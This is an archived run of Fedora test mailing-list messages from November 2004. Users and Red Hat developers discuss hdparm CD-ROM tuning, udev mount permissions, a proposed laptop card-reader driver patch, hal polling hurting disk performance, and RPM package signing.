CD Burners or as a ripping source. > > > > Thanks. > > > > Here's mine, Gateway (Samsung) notebook. > > /dev/hdc: > HDIO_GET_MULTCOUNT failed: Invalid argument > IO_support = 0 (default 16-bit) > unmaskirq = 0 (off) > using_dma = 1 (on) > keepsettings = 0 (off) > readonly = 0 (off) > readahead = 256 (on) > HDIO_GETGEO failed: Invalid argument > > Question is, how do I change those parameters? > > > > > > > -- > > Kim Lux (Mr.) Diesel Research Inc > > -------------------------------------- > Mark Haney > Network Administrator > InterAct Public Safety Systems > mhaney at interactsys.com > Fedora Core release 2 (Tettnang) Kernel: 2.6.8-1.521 GNU/Linux > 11:31:09 up 23 min, 2 users, load average: 0.83, 1.06, 0.87 > -- > fedora-test-list mailing list > fedora-test-list at redhat.com > To unsubscribe: > http://www.redhat.com/mailman/listinfo/fedora-test-list -- Kim Lux (Mr.) Diesel Research Inc From alan at redhat.com Thu Nov 4 16:39:11 2004 From: alan at redhat.com (Alan Cox) Date: Thu, 4 Nov 2004 11:39:11 -0500 Subject: latest udev issue In-Reply-To: <1099584713.4174.21.camel@localhost.localdomain> References: <200411041024.28981.fox3ec208@wideopenwest.com> <1099583992.4174.13.camel@localhost.localdomain> <1099584554.3119.18.camel@nbc-linux.cisco.com> <1099584713.4174.21.camel@localhost.localdomain> Message-ID: <20041104163911.GB15492@devserv.devel.redhat.com> On Thu, Nov 04, 2004 at 09:11:53AM -0700, Kim Lux wrote: > That is exactly what I was looking for. Your drive isn't optimized. > unmaskirq should be enabled and it should use 32 bit support, not 16. These are irrelevant for DMA mode, and DMA is on. It looks properly tuned to me as far as this shows From alan at redhat.com Thu Nov 4 16:40:17 2004 From: alan at redhat.com (Alan Cox) Date: Thu, 4 Nov 2004 11:40:17 -0500 Subject: CDROM optimizations? Udev ? In-Reply-To: <1099586316.4973.18.camel@localhost.localdomain> References: <1099585680.4973.13.camel@localhost.localdomain> <1099585916.4866.6.camel@marius.asheville.interact> <1099586316.4973.18.camel@localhost.localdomain> Message-ID: <20041104164017.GC15492@devserv.devel.redhat.com> On Thu, Nov 04, 2004 at 09:38:36AM -0700, Kim Lux wrote: > Yours isn't optimized either. > > One can change them manually using hdparm (see man hdparm), but the > kernel should set them better than this. Messing around with drive > parameters is not something that Joe/Jane Average should have to do. You should not change these parameters without knowing what you are doing. Your advice is incorrect. From harald at redhat.com Thu Nov 4 16:40:15 2004 From: harald at redhat.com (Harald Hoyer) Date: Thu, 04 Nov 2004 17:40:15 +0100 Subject: CDROM optimizations? Udev ? In-Reply-To: <1099585680.4973.13.camel@localhost.localdomain> References: <1099585680.4973.13.camel@localhost.localdomain> Message-ID: <418A5B6F.7010402@redhat.com> Kim Lux wrote: > Could I ask some people to run hdparm on their cdroms and report their > findings to the list ? > > ie: $/sbin/hdparm /dev/hdc (typically, some CDROMs might mount > elsewhere.) > > We've found some CDROMs are not optimized to use 32 bit access and with > the irq still masked. This might result in poor performance when using > them as CD Burners or as a ripping source. > > Thanks. > > > udev does no hdparm for your cdroms!!! -------------- next part -------------- A non-text attachment was scrubbed... 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It has dma and an unmaskedirq and 32 bit I/O. ????????????? On Thu, 2004-11-04 at 11:39 -0500, Alan Cox wrote: > On Thu, Nov 04, 2004 at 09:11:53AM -0700, Kim Lux wrote: > > That is exactly what I was looking for. Your drive isn't optimized. > > unmaskirq should be enabled and it should use 32 bit support, not 16. > > These are irrelevant for DMA mode, and DMA is on. It looks properly tuned to > me as far as this shows > -- Kim Lux (Mr.) Diesel Research Inc From lux at diesel-research.com Thu Nov 4 16:48:24 2004 From: lux at diesel-research.com (Kim Lux) Date: Thu, 04 Nov 2004 09:48:24 -0700 Subject: CDROM optimizations? Udev ? In-Reply-To: <418A5B6F.7010402@redhat.com> References: <1099585680.4973.13.camel@localhost.localdomain> <418A5B6F.7010402@redhat.com> Message-ID: <1099586904.4973.24.camel@localhost.localdomain> What sets the cdrom optimizations ? On Thu, 2004-11-04 at 17:40 +0100, Harald Hoyer wrote: > Kim Lux wrote: > > Could I ask some people to run hdparm on their cdroms and report their > > findings to the list ? > > > > ie: $/sbin/hdparm /dev/hdc (typically, some CDROMs might mount > > elsewhere.) > > > > We've found some CDROMs are not optimized to use 32 bit access and with > > the irq still masked. This might result in poor performance when using > > them as CD Burners or as a ripping source. > > > > Thanks. > > > > > > > > udev does no hdparm for your cdroms!!! > > -- > fedora-test-list mailing list > fedora-test-list at redhat.com > To unsubscribe: > http://www.redhat.com/mailman/listinfo/fedora-test-list -- Kim Lux (Mr.) Diesel Research Inc From harald at redhat.com Thu Nov 4 16:50:14 2004 From: harald at redhat.com (Harald Hoyer) Date: Thu, 04 Nov 2004 17:50:14 +0100 Subject: CDROM optimizations? Udev ? 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I can mount a mortal user but not access, df, ls, cd all fail as mortal user. From feliciano.matias at free.fr Thu Nov 4 17:12:52 2004 From: feliciano.matias at free.fr (=?ISO-8859-1?Q?F=E9liciano?= Matias) Date: Thu, 04 Nov 2004 18:12:52 +0100 Subject: latest udev issue In-Reply-To: <200411041201.31626.fox3ec208@wideopenwest.com> References: <200411041024.28981.fox3ec208@wideopenwest.com> <418A53FE.6060706@redhat.com> <200411041201.31626.fox3ec208@wideopenwest.com> Message-ID: <1099588372.28124.2.camel@one.myworld> Le jeudi 04 novembre 2004 ? 12:01 -0500, Terry Polzin a ?crit : > On Thursday 04 November 2004 11:08, Harald Hoyer wrote: > > Terry Polzin wrote: > > > The latest udev update seems to allow only root access to /media/usbdisk. > > > Although a mortal user can mount the device. Even an ls -l to the mounted > > > dev fails for the mortal user. > > > > Known problem: > > https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=138048 > > > > update this: > > http://people.redhat.com/harald/udev-039-10.FC3.1.i386.rpm > Still not resolved, You should reboot to confirm the bug. > I don't need to make any changes > to /etc/udev/permissions.d/ files do I ? > > I can mount a mortal user but not access, df, ls, cd all fail as mortal user. > From bwheadley at earthlink.net Thu Nov 4 17:19:30 2004 From: bwheadley at earthlink.net (Bryan W. Headley) Date: Thu, 04 Nov 2004 11:19:30 -0600 Subject: Laptop memory card readers in Linux ? In-Reply-To: <1099584453.4174.19.camel@localhost.localdomain> References: <1099584453.4174.19.camel@localhost.localdomain> Message-ID: <418A64A2.8070305@earthlink.net> Kim Lux wrote: >Does anyone know how to set up/where to get a driver for the memory card >readers on a laptop ? > > Ah... A little bit of googling tells me that the ENE CB710 is a PCI-to-Cardbus bridge.Verbiage discusses that is compatible with the TI_12xx chipset, which a FreeBSD driver confirms... If you modify a patch like this (that adds the CB1440) , so there is a line for the CB710, you might get joy. Let's see: "CB_ID(0x1524, 0x1411, TI1250)," And obviously, I never tested any of this, your mileage may vary, watch out for blue smoke... --- orig/drivers/pcmcia/yenta_socket.c Fri Mar 19 11:56:12 2004 +++ linux/drivers/pcmcia/yenta_socket.c Fri Mar 19 20:54:16 2004 @@ -1017,6 +1017,8 @@ static struct pci_device_id yenta_table CB_ID(PCI_VENDOR_ID_TI, PCI_DEVICE_ID_TI_1250, TI1250), CB_ID(PCI_VENDOR_ID_TI, PCI_DEVICE_ID_TI_1410, TI1250), + CB_ID(0x1524, 0x1410, TI1250), + CB_ID(PCI_VENDOR_ID_RICOH, PCI_DEVICE_ID_RICOH_RL5C465, RICOH), CB_ID(PCI_VENDOR_ID_RICOH, PCI_DEVICE_ID_RICOH_RL5C466, RICOH), CB_ID(PCI_VENDOR_ID_RICOH, PCI_DEVICE_ID_RICOH_RL5C475, RICOH), From fox3ec208 at wideopenwest.com Thu Nov 4 17:22:55 2004 From: fox3ec208 at wideopenwest.com (Terry Polzin) Date: Thu, 4 Nov 2004 12:22:55 -0500 Subject: latest udev issue In-Reply-To: <1099588372.28124.2.camel@one.myworld> References: <200411041024.28981.fox3ec208@wideopenwest.com> <200411041201.31626.fox3ec208@wideopenwest.com> <1099588372.28124.2.camel@one.myworld> Message-ID: <200411041222.55795.fox3ec208@wideopenwest.com> On Thursday 04 November 2004 12:12, F?liciano Matias wrote: > Le jeudi 04 novembre 2004 ? 12:01 -0500, Terry Polzin a ?crit : > > On Thursday 04 November 2004 11:08, Harald Hoyer wrote: > > > Terry Polzin wrote: > > > > The latest udev update seems to allow only root access to > > > > /media/usbdisk. Although a mortal user can mount the device. Even an > > > > ls -l to the mounted dev fails for the mortal user. > > > > > > Known problem: > > > https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=138048 > > > > > > update this: > > > http://people.redhat.com/harald/udev-039-10.FC3.1.i386.rpm > > > > Still not resolved, > > You should reboot to confirm the bug. I did. From alan at redhat.com Thu Nov 4 17:24:44 2004 From: alan at redhat.com (Alan Cox) Date: Thu, 4 Nov 2004 12:24:44 -0500 Subject: CDROM optimizations? Udev ? In-Reply-To: <1099586904.4973.24.camel@localhost.localdomain> References: <1099585680.4973.13.camel@localhost.localdomain> <418A5B6F.7010402@redhat.com> <1099586904.4973.24.camel@localhost.localdomain> Message-ID: <20041104172444.GE15492@devserv.devel.redhat.com> On Thu, Nov 04, 2004 at 09:48:24AM -0700, Kim Lux wrote: > What sets the cdrom optimizations ? The kernel based on the drive, driver, blacklists and other oddments it knows. Basically it goes for the fastest DMA possible if DMA is available, best PIO if not. From kyrre at solution-forge.net Thu Nov 4 17:25:48 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Thu, 04 Nov 2004 18:25:48 +0100 Subject: Laptop memory card readers in Linux ? In-Reply-To: <418A56FB.3010100@earthlink.net> References: <1099584453.4174.19.camel@localhost.localdomain> <418A56FB.3010100@earthlink.net> Message-ID: <1099589148.2746.13.camel@kyrre> tor, 04.11.2004 kl. 17.21 skrev Bryan W. Headley: > Kim Lux wrote: > > >Does anyone know how to set up/where to get a driver for the memory card > >readers on a laptop ? > > > > > > > The ones I have appear as USB devices, and "just works". Not mine! It seems like it has been postponed to fc4... https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=134094 Can't be that hard to add it to the whitelist? Kyrre From perbj at stanford.edu Thu Nov 4 17:32:17 2004 From: perbj at stanford.edu (Per Bjornsson) Date: Thu, 04 Nov 2004 09:32:17 -0800 Subject: vsftpd and recent kernels including 667 In-Reply-To: <1099551597.3540.88.camel@localhost.localdomain> References: <20041104025734.GA4276@rednote.net> <1099541645.4506.24.camel@thomas.camerontech.com> <4189B332.3080809@speakeasy.net> <1099547791.5033.3.camel@scania> <1099551597.3540.88.camel@localhost.localdomain> Message-ID: <1099589536.2700.2.camel@localhost.localdomain> On Wed, 2004-11-03 at 22:59, Kim Lux wrote: > Could you please provide more info on obtaining these updates, possibly > posting a sample yum.conf? Unfortunately I don't have a Rawide install available here, so I can't post anything sane for you, but there should be a .repo file in /etc/yum.repos.d/ that you can just toggle a variable in to activate that repository. /Per -- Per Bjornsson Ph.D. Candidate, Department of Applied Physics, Stanford University From si at bananas.hopto.org Thu Nov 4 17:39:31 2004 From: si at bananas.hopto.org (Si Jones) Date: Thu, 04 Nov 2004 17:39:31 +0000 Subject: kernel, K3b: poor CDROM burning from usb_storage device In-Reply-To: <200411032214.08464.gene.heskett@verizon.net> References: <1099536357.4830.7.camel@localhost.localdomain> <200411032214.08464.gene.heskett@verizon.net> Message-ID: <1099589971.921.1.camel@apple.bananas.hopto.org> Here's my output: [root at apple ~]# hdparm /dev/hda /dev/hda: --> LG DVD Writer HDIO_GET_MULTCOUNT failed: Invalid argument IO_support = 1 (32-bit) unmaskirq = 1 (on) using_dma = 1 (on) keepsettings = 0 (off) readonly = 0 (off) readahead = 256 (on) HDIO_GETGEO failed: Invalid argument [root at apple ~]# hdparm /dev/hdd /dev/hdd: --> Cheap DVD Reader HDIO_GET_MULTCOUNT failed: Invalid argument IO_support = 1 (32-bit) unmaskirq = 1 (on) using_dma = 1 (on) keepsettings = 0 (off) readonly = 0 (off) readahead = 256 (on) HDIO_GETGEO failed: Invalid argument From gene.heskett at verizon.net Thu Nov 4 18:01:49 2004 From: gene.heskett at verizon.net (Gene Heskett) Date: Thu, 4 Nov 2004 13:01:49 -0500 Subject: latest udev issue In-Reply-To: <1099586849.4973.23.camel@localhost.localdomain> References: <200411041024.28981.fox3ec208@wideopenwest.com> <20041104163911.GB15492@devserv.devel.redhat.com> <1099586849.4973.23.camel@localhost.localdomain> Message-ID: <200411041301.49597.gene.heskett@verizon.net> On Thursday 04 November 2004 11:47, Kim Lux wrote: >Here is an hdparm from an FC2 machine: > >hdparm /dev/cdrom > >/dev/cdrom: > HDIO_GET_MULTCOUNT failed: Invalid argument > IO_support = 1 (32-bit) > unmaskirq = 1 (on) > using_dma = 1 (on) > keepsettings = 0 (off) > readonly = 0 (off) > readahead = 256 (on) > HDIO_GETGEO failed: Invalid argument > > >Is it optimized incorrectly ? It has dma and an unmaskedirq and 32 > bit I/O. > Looks good from here, matching what I have, and I can burn ok. >????????????? > >On Thu, 2004-11-04 at 11:39 -0500, Alan Cox wrote: >> On Thu, Nov 04, 2004 at 09:11:53AM -0700, Kim Lux wrote: >> > That is exactly what I was looking for. Your drive isn't >> > optimized. unmaskirq should be enabled and it should use 32 bit >> > support, not 16. >> >> These are irrelevant for DMA mode, and DMA is on. It looks >> properly tuned to me as far as this shows > >-- >Kim Lux (Mr.) Diesel Research Inc -- Cheers, Gene "There are four boxes to be used in defense of liberty: soap, ballot, jury, and ammo. Please use in that order." -Ed Howdershelt (Author) 99.28% setiathome rank, not too shabby for a WV hillbilly Yahoo.com attorneys please note, additions to this message by Gene Heskett are: Copyright 2004 by Maurice Eugene Heskett, all rights reserved. From lux at diesel-research.com Thu Nov 4 18:04:18 2004 From: lux at diesel-research.com (Kim Lux) Date: Thu, 04 Nov 2004 11:04:18 -0700 Subject: Laptop memory card readers in Linux ? In-Reply-To: <418A64A2.8070305@earthlink.net> References: <1099584453.4174.19.camel@localhost.localdomain> <418A64A2.8070305@earthlink.net> Message-ID: <1099591458.4973.26.camel@localhost.localdomain> Thanks for the info ! On Thu, 2004-11-04 at 11:19 -0600, Bryan W. Headley wrote: > Kim Lux wrote: > > >Does anyone know how to set up/where to get a driver for the memory card > >readers on a laptop ? > > > > > Ah... A little bit of googling tells me that the ENE CB710 is a > PCI-to-Cardbus bridge.Verbiage discusses that is compatible with the > TI_12xx chipset, which a FreeBSD driver confirms... > > If you modify a patch like this (that adds the CB1440) , so there is a > line for the CB710, you might get joy. Let's see: "CB_ID(0x1524, 0x1411, > TI1250)," > > And obviously, I never tested any of this, your mileage may vary, watch > out for blue smoke... > > --- orig/drivers/pcmcia/yenta_socket.c Fri Mar 19 11:56:12 2004 > +++ linux/drivers/pcmcia/yenta_socket.c Fri Mar 19 20:54:16 2004 > @@ -1017,6 +1017,8 @@ static struct pci_device_id yenta_table > CB_ID(PCI_VENDOR_ID_TI, PCI_DEVICE_ID_TI_1250, TI1250), > CB_ID(PCI_VENDOR_ID_TI, PCI_DEVICE_ID_TI_1410, TI1250), > > + CB_ID(0x1524, 0x1410, TI1250), > + > CB_ID(PCI_VENDOR_ID_RICOH, PCI_DEVICE_ID_RICOH_RL5C465, RICOH), > CB_ID(PCI_VENDOR_ID_RICOH, PCI_DEVICE_ID_RICOH_RL5C466, RICOH), > CB_ID(PCI_VENDOR_ID_RICOH, PCI_DEVICE_ID_RICOH_RL5C475, RICOH), > > -- Kim Lux (Mr.) Diesel Research Inc From veillard at redhat.com Thu Nov 4 18:07:14 2004 From: veillard at redhat.com (Daniel Veillard) Date: Thu, 4 Nov 2004 13:07:14 -0500 Subject: gam_server In-Reply-To: <1099578327.4069.21.camel@hostmaster.org> References: <200411040807.51853.psavoie1783@rogers.com> <20041104131958.GA17037@devserv.devel.redhat.com> <1099578327.4069.21.camel@hostmaster.org> Message-ID: <20041104180714.GT8955@redhat.com> On Thu, Nov 04, 2004 at 03:25:27PM +0100, Thomas Zehetbauer wrote: > On Don, 2004-11-04 at 08:19 -0500, Alan Cox wrote: > > It shouldn't be eating CPU, can you get an strace of it doing that and file > > a bug > > There are already two reports for this problem: > https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=132354 > https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=137439 > strace is one way, another simpler way is indicated there: http://www.gnome.org/~veillard/gamin/debug.html#Debugging1 beware it can fill a disk really fast. for some reason the tree representation a loop for some users after some random time. Why, how, I still didn't found... The code should not be racy but it seems something breaks that expectation :-( Daniel -- Daniel Veillard | Red Hat Desktop team http://redhat.com/ veillard at redhat.com | libxml GNOME XML XSLT toolkit http://xmlsoft.org/ http://veillard.com/ | Rpmfind RPM search engine http://rpmfind.net/ From jorton at redhat.com Thu Nov 4 18:29:31 2004 From: jorton at redhat.com (Joe Orton) Date: Thu, 4 Nov 2004 18:29:31 +0000 Subject: Subversion support in Emacs? In-Reply-To: <1099579272.13149.47.camel@excession.dzr> References: <1099579272.13149.47.camel@excession.dzr> Message-ID: <20041104182931.GA27502@redhat.com> On Thu, Nov 04, 2004 at 02:41:12PM +0000, D. D. Brierton wrote: > I haven't had a chance to test out any of the test or RC releases of FC3 > yet. I'm also unsure of how patched the version of Emacs is. Does FC3 > come with any Emacs support for Subversion out of the box? As subversion > now seems to be the FC revision control tool of choice it would be nice > if Emacs had support for it as part of the core distribution. Yes, psvn.el is included in /usr/share/emacs/site-lisp and /usr/share/xemacs/site-packages/lisp/ in the FC3 subversion package. I haven't looked at doing vc-svn, please file an RFE if you think that's useful too... Regards, joe From sp at scali.com Thu Nov 4 18:40:59 2004 From: sp at scali.com (Steffen Persvold) Date: Thu, 04 Nov 2004 13:40:59 -0500 Subject: Poor disk drive performance with FC3 RC3 Message-ID: <1099593660.4511.13.camel@sp-laptop.us.scali.com> Hi all, I just recently installed FC3 RC3 on my Dell Inspiron 8200 laptop and experienced _really_ wierd hard-drive performance (IDE drive). At first I noticed it when trying to start applications such as Evolution, FireFox, OpenOffice etc. but then I started testing it with hdparm -t : # hdparm -t /dev/hda /dev/hda: Timing buffered disk reads: 38 MB in 5.65 seconds = 6.72 MB/sec # hdparm -t /dev/hda /dev/hda: Timing buffered disk reads: 14 MB in 4.38 seconds = 3.20 MB/sec # hdparm -t /dev/hda /dev/hda: Timing buffered disk reads: 2 MB in 3.48 seconds = 588.26 kB/sec First I was thinking PIO vs. DMA, but DMA was turned on (confirmed with hdparm -d). I know this didn't happen with FC2 so I tested the latest FC2 kernel (2.6.8-521) but that didn't even help. So then I started looking at some of the processes I didn't recognize from FC2, and actually think I found the culprit. If I stopped the "haldaemon" service (hald) my hard-driver performance was back to normal : # hdparm -t /dev/hda /dev/hda: Timing buffered disk reads: 84 MB in 3.03 seconds = 27.74 MB/sec # hdparm -t /dev/hda /dev/hda: Timing buffered disk reads: 84 MB in 3.03 seconds = 27.73 MB/sec What is the purpose of the "haldaemon" and why is it destroying my system performance ? Best regards, Steffen Persvold From wphewitt at bpa.gov Thu Nov 4 18:48:49 2004 From: wphewitt at bpa.gov (William Hewitt) Date: Thu, 04 Nov 2004 10:48:49 -0800 Subject: Proliant CSB-6 Raid Drivers for Fedora Message-ID: <1099594130.7063.5.camel@localhost.localdomain> Slightly off topic..... Has anyone had any experience with getting these drivers into a "virgin" HP and then installing Redhat/Fedora? If so, can someone give me a clue - like which one will work? HP's site is not too obvious or straightforward.... TIA WPH -------------- next part -------------- An HTML attachment was scrubbed... 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Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From david at fubar.dk Thu Nov 4 18:59:48 2004 From: david at fubar.dk (David Zeuthen) Date: Thu, 04 Nov 2004 13:59:48 -0500 Subject: Poor disk drive performance with FC3 RC3 In-Reply-To: <1099593660.4511.13.camel@sp-laptop.us.scali.com> References: <1099593660.4511.13.camel@sp-laptop.us.scali.com> Message-ID: <1099594788.12307.16.camel@davidz> On Thu, 2004-11-04 at 13:40 -0500, Steffen Persvold wrote: > What is the purpose of the "haldaemon" and why is it destroying my > system performance ? > hal polls for media change on your optical drive; is your optical drive /dev/hdb by any chance? E.g. on the same cable as /dev/hda - I've had reports yesterday about hdparm giving bad numbers in this case. Basically hal does this (every two seconds) open("/dev/hdc", O_RDONLY|O_NONBLOCK|O_EXCL|O_LARGEFILE) = 0 ioctl(0, CDROM_DRIVE_STATUS, 0x7fffffff) = 1 close(0) Can some kernel person comment on why this is killing performance on the /dev/hda harddrive when the optical drive at /dev/hdb is polled? Cheers, David From asp.mail at sud2000.com Thu Nov 4 18:00:02 2004 From: asp.mail at sud2000.com (Jean-Claude Levieux) Date: Thu, 04 Nov 2004 19:00:02 +0100 Subject: FC3 test3 - norton ghost 2003 Message-ID: <6.1.2.0.2.20041104185630.01b20e38@mail.sudhost.com> Hello, I'm migrating from redhat 9 to Fedora core3 test3 All is perfect .....but when I try to make a backup of my fedora disk (or the / partition) with Norton Ghost 2003 I always get the same error : read sector failure result =1 drive =1 sectors : 2071692247 to 2071692255 I tried with another disk and got the same error message. My mother board : assus P4-P800. No problem with mandrake 10 on the same disk. Can you help me ? Thanks in advance. PS. Sorry , I already sent this message as a "non-member" Jean-Claude From david at fubar.dk Thu Nov 4 19:02:30 2004 From: david at fubar.dk (David Zeuthen) Date: Thu, 04 Nov 2004 14:02:30 -0500 Subject: Poor disk drive performance with FC3 RC3 In-Reply-To: <1099594263.16640.19.camel@laptop.fenrus.org> References: <1099593660.4511.13.camel@sp-laptop.us.scali.com> <1099594263.16640.19.camel@laptop.fenrus.org> Message-ID: <1099594950.12307.18.camel@davidz> On Thu, 2004-11-04 at 19:51 +0100, Arjan van de Ven wrote: > On Thu, 2004-11-04 at 13:40 -0500, Steffen Persvold wrote: > > Hi all, > > > > I just recently installed FC3 RC3 on my Dell Inspiron 8200 laptop and > > experienced _really_ wierd hard-drive performance (IDE drive). At first > > I noticed it when trying to start applications such as Evolution, > > FireFox, OpenOffice etc. but then I started testing it with hdparm -t : > > > > # hdparm -t /dev/hda > don't use hdparm! > > it's very unreliable for measuring performance; please use something > like tiobench (tiobench.sf.net) I'm sure that's true, however the reporter noted that performance was degraded and that's what made him use hdparm in the first place. I'm also getting reports from Debian users about this FWIW. (Well, with having an optical drive and a harddrive on the same IDE cable). Thanks, David From sp at scali.com Thu Nov 4 19:03:16 2004 From: sp at scali.com (Steffen Persvold) Date: Thu, 04 Nov 2004 14:03:16 -0500 Subject: Poor disk drive performance with FC3 RC3 In-Reply-To: <1099594263.16640.19.camel@laptop.fenrus.org> References: <1099593660.4511.13.camel@sp-laptop.us.scali.com> <1099594263.16640.19.camel@laptop.fenrus.org> Message-ID: <1099594996.4511.17.camel@sp-laptop.us.scali.com> On Thu, 2004-11-04 at 19:51 +0100, Arjan van de Ven wrote: > On Thu, 2004-11-04 at 13:40 -0500, Steffen Persvold wrote: > > Hi all, > > > > I just recently installed FC3 RC3 on my Dell Inspiron 8200 laptop and > > experienced _really_ wierd hard-drive performance (IDE drive). At first > > I noticed it when trying to start applications such as Evolution, > > FireFox, OpenOffice etc. but then I started testing it with hdparm -t : > > > > # hdparm -t /dev/hda > don't use hdparm! > > it's very unreliable for measuring performance; please use something > like tiobench (tiobench.sf.net) Arjan, Event though I agree that hdparm -t is not the correct tool to test hard drive performance, your missing my point. My original problem was that Applications such as Evolution, Firefox, OpenOffice, disk access in general was _really_ slow. Turning off the HAL daemon fixed that. Regards, Steffen From sp at scali.com Thu Nov 4 19:16:20 2004 From: sp at scali.com (Steffen Persvold) Date: Thu, 04 Nov 2004 14:16:20 -0500 Subject: Poor disk drive performance with FC3 RC3 In-Reply-To: <1099594788.12307.16.camel@davidz> References: <1099593660.4511.13.camel@sp-laptop.us.scali.com> <1099594788.12307.16.camel@davidz> Message-ID: <1099595781.4511.28.camel@sp-laptop.us.scali.com> On Thu, 2004-11-04 at 13:59 -0500, David Zeuthen wrote: > On Thu, 2004-11-04 at 13:40 -0500, Steffen Persvold wrote: > > What is the purpose of the "haldaemon" and why is it destroying my > > system performance ? > > > > hal polls for media change on your optical drive; is your optical > drive /dev/hdb by any chance? E.g. on the same cable as /dev/hda - I've > had reports yesterday about hdparm giving bad numbers in this case. > > Basically hal does this (every two seconds) > > open("/dev/hdc", O_RDONLY|O_NONBLOCK|O_EXCL|O_LARGEFILE) = 0 > ioctl(0, CDROM_DRIVE_STATUS, 0x7fffffff) = 1 > close(0) > > Can some kernel person comment on why this is killing performance on > the /dev/hda harddrive when the optical drive at /dev/hdb is polled? > David, Yes, for some reason the cdrom is attached to the same IDE channel as my harddrive (cdrom = /dev/hdb). Not sure why Dell implemented it that way though. Back in the good old days I learned that for best performance you shouldn't really have two devices on the same IDE channel unless you absolutely had to... However I don't think there is any way of changing it, and a lot of Linux users have Dell laptops ;) ... And your analysis matches with the behavior I see on the drive light. When I start hdparm, the drive light stays solid for a while, but then suddenly it stops and depending on how long the light stays solid my transfer rate differs (and this is dependent on when I start the test vs. the polling interval for hald). I guess the ioctl() to /dev/hdb interrupts the /dev/hda transfer for some reason. Thanks, Steffen From michal at harddata.com Thu Nov 4 19:16:23 2004 From: michal at harddata.com (Michal Jaegermann) Date: Thu, 4 Nov 2004 12:16:23 -0700 Subject: Xsane question In-Reply-To: <1099582060.3119.4.camel@nbc-linux.cisco.com>; from nbc@cisco.com on Thu, Nov 04, 2004 at 10:27:40AM -0500 References: <4189287C.5060305@broadpark.no> <1099508418.3190.2.camel@nbc-linux.cisco.com> <418A3F67.9040106@redhat.com> <1099582060.3119.4.camel@nbc-linux.cisco.com> Message-ID: <20041104121623.D16472@mail.harddata.com> On Thu, Nov 04, 2004 at 10:27:40AM -0500, Neil B. Cohen wrote: > ... last > night when I tried running xsane it told me it could not find a device. 'xsane', or more precisely 'scanimage' which sits underneath, has a habit of reporting that it cannot find a device if it does not has read/write permissions to it. This is the most likely the reason for what you are seeing and I run into the same issue. :-) Check https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=121511#c47 for details. A group 'scanner' and 0660 permissions are likely what you want in general. Michal From darren at dzr-web.com Thu Nov 4 19:54:01 2004 From: darren at dzr-web.com (D. D. Brierton) Date: Thu, 04 Nov 2004 19:54:01 +0000 Subject: Subversion support in Emacs? In-Reply-To: <20041104182931.GA27502@redhat.com> References: <1099579272.13149.47.camel@excession.dzr> <20041104182931.GA27502@redhat.com> Message-ID: <1099598041.13149.104.camel@excession.dzr> On Thu, 2004-11-04 at 18:29, Joe Orton wrote: > Yes, psvn.el is included in /usr/share/emacs/site-lisp and > /usr/share/xemacs/site-packages/lisp/ in the FC3 subversion package. I > haven't looked at doing vc-svn, please file an RFE if you think that's > useful too... I've filed an RFE in bugzilla: https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=138121 but note that I'm still trying to get my head around PCL-* and RC-* in Emacs. It seems they do quite different jobs and are meant to be complementary, but I'm really not sure. The situation is complicated by the fact that the currently released Emacs is so very far behind Emacs CVS, and the Emacs CVS seems to be the authoritative location for rc-svn.el. It may be that rc-svn.el in Emacs CVS also requires the Emacs CVS version of RC in general, which may in turn depend on other things. I think you'd have to ask the emacs-devel list to find out. Of course the whole thing would be much simpler if the Emacs developers would actually release a new version, but I am beginning to despair of that ever happening. Best, Darren -- ===================================================================== D. D. Brierton darren at dzr-web.com www.dzr-web.com Trying is the first step towards failure (Homer Simpson) ===================================================================== From pjones at redhat.com Thu Nov 4 20:37:30 2004 From: pjones at redhat.com (Peter Jones) Date: Thu, 04 Nov 2004 15:37:30 -0500 Subject: Should Fedora rpms be signed? In-Reply-To: <1099562916.6145.24.camel@gibraltar.stuttgart.redhat.com> References: <49796.195.34.133.68.1098782874.squirrel@195.34.133.68> <2983.12.29.16.103.1098793539.squirrel@whooper.org> <1098794047.11444.1.camel@localhost.localdomain> <2073.12.29.16.103.1098966545.squirrel@whooper.org> <26048.213.164.3.90.1098966862.squirrel@213.164.3.90> <1098981281.6109.28.camel@localhost.localdomain> <1099047474.4019.10.camel@gibraltar.stuttgart.redhat.com> <1099330047.25045.73.camel@localhost.localdomain> <1099562916.6145.24.camel@gibraltar.stuttgart.redhat.com> Message-ID: <1099600651.4065.41.camel@localhost.localdomain> On Thu, 2004-11-04 at 11:08 +0100, Nils Philippsen wrote: > On Mon, 2004-11-01 at 12:27 -0500, Peter Jones wrote: > > On Fri, 2004-10-29 at 12:57 +0200, Nils Philippsen wrote: > > > If we don't sign packages we make it basically impossible for people to > > > check where a specific package comes from. > > > > Yes, but the current signing method does not do _precisely_ that. It > > does many things, and that is one affect. > > Technically it does only what I said, i.e. the package was signed by > someone who basically only signs "this package passed through me", as no > additional validation or QA or whatever is involved in the signing step. > But see below. I really don't care about "Technically it does this" arguments; I care about what most of our users understand it to do. > > > There is nothing else that a signature on a package says. > > > > That's simply not true. > > > > It says that we intended to release it in a form that is fit to be used. > > (Although clearly it does not imply any warranty, including the implied > > warranties of merchantability and fitness for a particular purpose ;) > > > > It says we believe that the actual data in the package headers -- the > > scriptlets, the triggers, the conflicts, the provides, etc. -- are of a > > quality that Fedora believes is sufficient for release. These things > > are Red Hat's and Fedora's value add, and a signature says that we > > believe we've actually added value. > > You're talking about FC final or RHEL final keys/signing, not the > Rawhide key. I'm talking about how most of our users perceive *any* signature, and about how our tools, and tools made by our users, treat signatures of any kind. If I can't tell the difference in how things should behave by simply looking at the data that's *there*, then there is no difference. What I know because I've learned it on company mailing lists or through talking to people, even if it is part of the corpus of knowledge which we as developers may have, is simply not real for the majority of our users. It is not reality for them, and it is not the reality our current tools are based on. Signing something with the Red Hat key and signing something with the Rawhide key are currently _the same thing_, and no amount of telling people that it's not is going to change that. There has to actually be data that says it's different, and the tools have to actually look at that data. > > It also conveys that some packager whom we trust has looked over the > > payload and does not consider its contents to be *hostile* to our users. > > That is the most I would grant a signature with the Rawhide key on a > package to convey. But that doesn't scale past *one* key. This is not 1998, and Red Hat is not the only supplier of packages that run on a Fedora box. The method for telling "this signature means *this thing*" cannot be "look at the signature, and then look the key 